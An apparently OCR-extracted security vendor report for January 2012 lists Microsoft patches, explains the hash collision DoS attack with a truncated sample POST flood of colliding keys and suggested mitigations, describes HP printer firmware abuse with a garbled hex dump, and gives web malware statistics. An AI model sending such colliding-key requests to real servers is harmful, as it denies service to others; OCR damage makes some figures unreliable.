Important Vulnerability in Windows Client/Server Runtime Subsystem could allow elevation of privilege (2646524)
Important Vulnerability in Windows Kernel could allow security Feature bypass (2644615)

Important Vulnerability in Microsoft Windows could allow remote code execution (2584146)

Important Vulnerability in SSL/TLS could allow information disclosure (2643584)

Important Vulnerability in Anti-XSS Library could allow information disclosure (2607664)

[Table 2-1] MS Security Updates for September 2011

Security Trend
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02. Security Trend
b. Security Issues

Hash Collision DoS Attack

In a hash collision attack, attackers exploit hash table
vulnerability to cause a denial of service (DoS) condition.
Microsoft issued an emergency, out-of-band update (MS11-100)
to prevent hash collision attacks in ASP.NET web applications.
The vulnerability has been discovered to also impact PHP 5, Java,

Python, Ruby and Google's v8.

Hash tables are a commonly used data structure in most
programming languages. Web application servers commonly
parse attacker-controlled POST form data into hash tables. An
attacker can degenerate the hash table by sending lots of colliding
keys. The complexity of inserting n elements into the table then

goes to 0(n**2), making it possible to exhaust the CPU time.

A large number of parameters in POST requests are sent to the

server to overwhelm it.

[Fig. 2-2] POST requests

POST /defaultaspx HTTP/1.1

Content-Type: application/x-www-form-urlencoded
Host: aspnet

Content-Length: 3900006

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

EzEzEzEzEzEzEzEz=8lEzEzEzEzEzEzEzFY=8IEzEzEzEzEzEzEzGB=&EZE
H%17FYFY=8EzEzEzEzEzH%17FYG8=8&EzEzEzEzEZH%17FYH%17=&E
[..omission...]
FYGBGBGA=8EzEzEzEzFYGBGAHY%17=8EzEzEzEzFYGEH%17Ez=8lEzE

FYH%I?GS:&EzEzEzEzGSFYH%l?H%]?:&EzAh L b
Ez=&EzEzEzEzH%17FYEzFY=&EzEzEzEzH%17F n a

This isn't an average DoS attack because it doesn't take a botnet
or a lot of coordination to take a web server down. We offer the
following mitigations for this attack:

- Limit CPU time

- Limit maximum POST size

- Limit maximum request parameters

Vulnerability in HP LaserJet Printers - Remote
Firmware Updates

The recent 28th Chaos Communications Congress has produced
a number of interesting ideas, but a presentation of two hacks
that turned printers into rogue machines by Ang Cui was an eye

opener for IT managers.

HP has issued a firmware update to mitigate this issue on
January 2012. Remote Firmware Upgrade (RFU] is a feature that

allows customers to upgrade the firmware of their HP printer.

[Fig. 2-3] Example of HP RFU (Remote Firmware Update] file

(Source: Print Me If You Dare)

008008 @8 50 4A 40 20 43 4F 4D 4D 45 4E 54 20 4D 4F 44 45 4C 30 45 @IL COMMENT MODEL=H
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B0AA3C 38 33 35 30 34 BA 40 50 4A 4C 20 43 4F 4D 4D 45 4E 54 20 44 535044@PIL COMMENT D
B00P58 41 54 45 43 4F 44 45 3D 32 30 31 30 30 33 30 38 0A 40 50 44  ATECODE=208188308'¥2PJ
P0B064 4C 20 55 50 47 52 41 44 45 20 53 49 5A 45 3D 37 39 32 39 39 L UPGRADE SIZE=79299
B00A75 30 36 BA 1B 25 2D 31 32 33 34 35 56 48 50 4A 4C 28 45 4E 54 06\, %-12345X@PIL ENT
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BAPACE EO BB 60 4D 3C B0 68 1D E9 B8 00 21 86 PO 68 50 91 A8 65 3F
PoPEDC 6F 00 PA 20 28 0@ B9 4D AA PO 68 5F 97 60 0@ 26 BC 60 0O 50
BBEEFE BC 66 68 88 66 B8 26 CB B B8 4C C4 B0 68 Al 1E 68 B0 26
0081684 &3 60 00 4D

¥
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In his hour-long talk "Print Me If You Dare”, Ang Cui showed
that it was possible to load arbitrary software into any printer
by embedding it in a malicious document or by connecting
to the printer online. The affected printers can be remotely
controlled by attackers over the Internet, with the potential to
steal personal information, attack secure networks and even

cause physical damage.

Cui estimated that there exist at least 100,000 HP printers that
can be compromised through an active attack, and several
million devices that can be compromised. Cui believes that these
vulnerabilities are likely present on non-HP printers and his
main area of research is a generalized anti-malware solution
for all embedded systems, including printers and routers. When
installing any device such as home routers and printers, you

should always password-protect these devices.
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Web Security Trend

03. Web Security Trend
a. Web Security Statistics

Website Security Summary

This month, SiteGuard (AhnLab's web browser security service) blocked 41,181 websites that
distributed malicious codes. There were 671 types of reported malicious code, 689 reported
domains with malicious code, and 11,524 reported URLs with malicious code. The number of
reported malicious codes and reported types of malicious code decreased from last month, but the

number of domains and URLs with malicious code increased.

I Reported malicious codes

@ 2012.01
I Reported types of | Domains with I URLs with
malicious code malicious code malicious code

671 689

[Table 3-1] Website Security Summary

11,524

Monthly Blocked Malicious URLs

As of January 2012, the number of reported blocked malicious URLs decreased 4% from 42,769 the

previous month to 41,181.

150,000
125,000

100,000

75,000
39,875 42,769 41,181
50000 -3.7%

o——5O—o

25,000

| | |
2011.11 2011.12 2012.01
[Fig. 3-11] Monthly Blocked Malicious URLs
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Monthly Reported Types of Malicious Code
As of January 2012, the number of reported types of malicious code decreased 1% from 680 the

previous month to 671.

1,000 707 480 671
800 -1.3%
600 G £ .
400

200

| | |
2011.11 2011.12 2012.01

[Fig. 3-2] Monthly Reported Types of Malicious Code

Monthly Domains with Malicious Code

As of January 2012, the number of reported domains with malicious code increased 44% from 477

the previous month to 689.
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[Fig. 3-3] Monthly Domains with Malicious Code

Monthly URLs with Malicious Code

As of January 2012, the number of reported URLs with malicious code increased 11% from 10,406
the previous month to 11,524.
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[Fig. 3-4] Monthly URLs with Malicious Code
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Top Distributed Types of Malicious Code
As of January 2012, Trojan is the top distributed type of malicious code with 16,505 (40.1%) cases
reported, followed by downloader with 8,883 (21.6%) cases reported.

TYPE Reports Percentage
TROJAN 16,505 40.1 %
DOWNLOADER 8,883 21.6 %
ADWARE VAANA 10.8 %
DROPPER 2,481 6.0%
APPCARE 1,781 4.3 %
Win32/VIRUT 637 1.5 %
WIN-CLICKER 373 0.9%
JOKE 237 0.6 %
SPYWARE 148 0.4 %
ETC 5,692 13.8 %
41,181 100 %

[Table 3-2] Top Distributed Types of Malicious Code

TROJAN 16,505
15,000
10,000
DOWNLOADER 8,883
ETC 5,692
ADWARE 4,444
DROPPER 2,481
APPCARE 1,781 5,000
Win32/VIRUT 637
WIN-CLICKER 373
JOKE 237
SPYWARE 148 | S 0

[Flg 3-5] Top Distributed Types of Malicious Code

Top 10 Distributed Malicious Codes
As of January 2012, Win-Trojan/Agent.848000 is the most distributed malicious code with 7,650
cases reported. 4 new malicious codes, including Win-Trojan/Agent.848000, emerged in the top 10

list this month.

Ranking M Malicious Code Reports Percentage
1 NEW Win-Trojan/Agent.848000 7,650 34.3%
2 v Downloader/Win32.Genome 3,236 14.5 %
3 v1 Downloader/Win32.Korad 2,900 13.1%
4 v1 Downloader/Win32.Totoran 2,290 10.3 %
5 NEW Win-AppCare/WinKeyfinder.973512 1,458 6.5%
6 A3 Adware/Win32.KorAd 1,208 5.4 %
7 v3 Unwanted/Win32.WinKeygen 998 4.5 %
8 NEW Win-Trojan/Buzus.430080.J 925 4.1 %
9 A1l Unwanted/Win32.WinKeyfinder 819 3.7%
10 NEW Win-Trojan/Agent.36548 810 3.6 %

22,294 100 %

[Table 3-3] Top 10 Distributed Malicious Codes
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03. Web Security Trend
b. Web Security Issues

Jan. 2012 Malicious Code Intrusion: Website

. 3-6] Monthly malicious code intrusion: website
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The chart above shows the number of websites intruded to
distribute malicious codes. This month, 142 websites were
used to distribute malware that steals online gaming account

information.

Top 10 malicious codes distributed via websites

[Fig. 3-7] Distribution of Win-Trojan/Onlinegamehack.83968.B0O
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The chart above shows the number of websites intruded to
distribute malicious codes. This month, 142 websites were
used to distribute malware that steals online gaming account

information.

[Table 3-4] Top 10 malicious codes distributed via websites

Ranking Threat URL
1 Win-Trojan/Onlinegamehack.83968.B0 60
2 Win-Trojan/Onlinegamehack.89088.A0 56
3 Win-Trojan/Onlinegamehack.84480.CG 54
4 Trojan/Win32.0nlineGameHack 49
5 Dropper/Onlinegamehack.145450 45
6 Dropper/Win32.0nlineGameHack 42
7 Dropper/Win32.0nlineGameHack 33
8 Win-Trojan/Onlinegamehack.81920.EM 32
9 Trojan/Win32.0nlineGameHack 27
10 Trojan/Win32.0nlineGameHack 25

The table above shows the top 10 malicious codes distributed via
websites this month. Just like the previous month, online game
hacking Trojans were the most distributed malware. Win-Trojan/
Onlinegamehack.83968.B0 was distributed via 60 compromised

websites.
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